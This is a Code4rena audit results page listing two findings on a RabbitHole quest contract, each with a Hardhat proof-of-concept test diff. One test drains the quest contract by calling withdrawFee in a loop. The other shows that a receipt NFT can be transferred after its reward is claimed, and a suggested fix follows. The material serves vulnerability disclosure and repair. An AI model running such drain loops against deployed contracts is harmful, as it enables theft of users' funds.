Platform: Code4rena
Start Date: 25/01/2023
Pot Size: $36,500 USDC
Total HM: 11
Participants: 173
Period: 5 days
Judge: kirk-baird
Total Solo HM: 1
Id: 208
League: ETH
Rank: 17/173
Findings: 2
Award: $324.64
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: adriro
Also found by: 0xRobocop, 0xmrhoodie, 0xngndev, AkshaySrivastav, ArmedGoose, Atarpara, Bauer, CodingNameKiki, ElKu, Garrett, HollaDieWaldfee, IllIllI, Iurii3, KIntern_NA, KmanOfficial, Lotus, M4TZ1P, MiniGlome, Ruhum, SovaSlava, bin2chen, bytes032, carrotsmuggler, cccz, chaduke, codeislight, cryptonue, doublesharp, evan, fs0c, glcanvas, gzeon, hansfriese, hihen, hl_, holme, horsefacts, ladboy233, lukris02, mahdikarimi, manikantanynala97, martin, mert_eren, mrpathfindr, omis, peakbolt, peanuts, prestoncodes, rbserver, rvierdiiev, sashik_eth, timongty, tnevler, trustindistrust, usmannk, wait, yixxas, zadaru13, zaskoh
0.7512 USDC - $0.75
Erc20Quest withdrawFee function can be executed more than once. The protocolFee amount transfered when executing withdrawFee function is calculated properly (having into account all receiptRedeemers), but as it can be executed multiple times anyone can move an excesive amount of rewardToken to protocolFeeRecipient. Users are supposed to be able to claim rewards after endTime, but anyone can make a loop to execute withdrawFee function multiple times to send all (or almost all) funds (in slots of protocolFee amounts) to protocolFeeRecipient resulting in users not being able to claim rewards.
diff --git a/test/Erc20Quest.spec.ts b/test/Erc20Quest.spec.ts.new index d0626ee..80b207e 100644 --- a/test/Erc20Quest.spec.ts +++ b/test/Erc20Quest.spec.ts.new @@ -21,7 +21,7 @@ describe('Erc20Quest', async () => { const mockAddress = '0x0000000000000000000000000000000000000000' const mnemonic = 'announce room limb pattern dry unit scale effort smooth jazz weasel alcohol' const questId = 'asdf' - const totalParticipants = 300 + const totalParticipants = 1 //reduce participants to reduce while-loop iterations in vulnerability test const rewardAmount = 1000 const questFee = 2000 // 20% const totalRewardsPlusFee = totalParticipants * rewardAmount + (totalParticipants * rewardAmount * questFee) / 10_000 @@ -374,5 +374,25 @@ describe('Erc20Quest', async () => { await ethers.provider.send('evm_increaseTime', [-100001]) await ethers.provider.send('evm_increaseTime', [-86400]) }) + it('if someone dont claim before quest endTime could lose rewards', async () => { + const beginningContractBalance = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address) + + await deployedFactoryContract.connect(firstAddress).mintReceipt(questId, messageHash, signature) + await deployedQuestContract.start() + await ethers.provider.send('evm_increaseTime', [86400]) + expect(await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)).to.equal(0) + + await ethers.provider.send('evm_increaseTime', [100001]) + let questContractBalance = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address) + const protocolFee = await deployedQuestContract.protocolFee() + while (questContractBalance.gte(protocolFee)) { + await deployedQuestContract.withdrawFee() + questContractBalance = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address) + } + + console.log("Quest contract balance (after being drained):", questContractBalance.toString()) + + await deployedQuestContract.connect(firstAddress).claim() + }) }) })
VSCode and hardhat
Using a boolean so withdrawFee function can be executed just once is enough.
#0 - c4-judge
2023-02-05T05:37:05Z
kirk-baird marked the issue as duplicate of #23
#1 - c4-judge
2023-02-14T08:59:50Z
kirk-baird marked the issue as satisfactory
🌟 Selected for report: ladboy233
Also found by: 0x4non, 0xmrhoodie, CodingNameKiki, ElKu, StErMi, Tricko, adriro, rbserver
323.8877 USDC - $323.89
Already claimed NFTs can be transfered so owners could cheat on marketplaces (like OpenSea) by accepting a bid offer after having claimed rewards. Those NFTs doesnt need to be transfered as its function is accomplished so its transferability could be limited. In beforeTransfer hook they can check if NFT is already claimed and revert in that case.
diff --git a/test/Erc20Quest.spec.ts b/test/Erc20Quest.spec.ts.new2 index d0626ee..794ad33 100644 --- a/test/Erc20Quest.spec.ts +++ b/test/Erc20Quest.spec.ts.new2 @@ -302,6 +302,20 @@ describe('Erc20Quest', async () => { await expect(deployedQuestContract.claim()).to.be.revertedWithCustomError(questContract, 'AlreadyClaimed') await ethers.provider.send('evm_increaseTime', [-86400]) }) + + it('allows an owner to accept a marketplace bid order after claim', async () => { + await deployedRabbitholeReceiptContract.mint(owner.address, questId) + await deployedQuestContract.start() + + await ethers.provider.send('evm_increaseTime', [86400]) + + await deployedQuestContract.claim() + //simulate a marketplace deal with a transfer (for example an OpenSea atomicMatch, owner accepts a bid) + await deployedRabbitholeReceiptContract.transferFrom(owner.address, firstAddress.address, "1") + + await deployedQuestContract.connect(firstAddress).claim() + await ethers.provider.send('evm_increaseTime', [-86400]) + }) }) describe('withdrawRemainingTokens()', async () => {
VSCode and hardhat.
diff --git a/contracts/RabbitHoleReceipt.sol b/contracts/RabbitHoleReceipt.sol.new index 085b617..ba354e5 100644 --- a/contracts/RabbitHoleReceipt.sol +++ b/contracts/RabbitHoleReceipt.sol.new @@ -151,6 +151,11 @@ contract RabbitHoleReceipt is uint256 tokenId_, uint256 batchSize_ ) internal override(ERC721Upgradeable, ERC721EnumerableUpgradeable) { + string memory questId = questIdForTokenId[tokenId_]; + (address questAddress, , ) = QuestFactoryContract.questInfo(questId); + IQuest questContract = IQuest(questAddress); + bool claimed = questContract.isClaimed(tokenId_); + require(!claimed, "RabbitHoleReceipt: token already claimed"); super._beforeTokenTransfer(from_, to_, tokenId_, batchSize_); }
#0 - c4-judge
2023-02-05T05:38:29Z
kirk-baird marked the issue as duplicate of #201
#1 - c4-judge
2023-02-14T09:14:53Z
kirk-baird marked the issue as satisfactory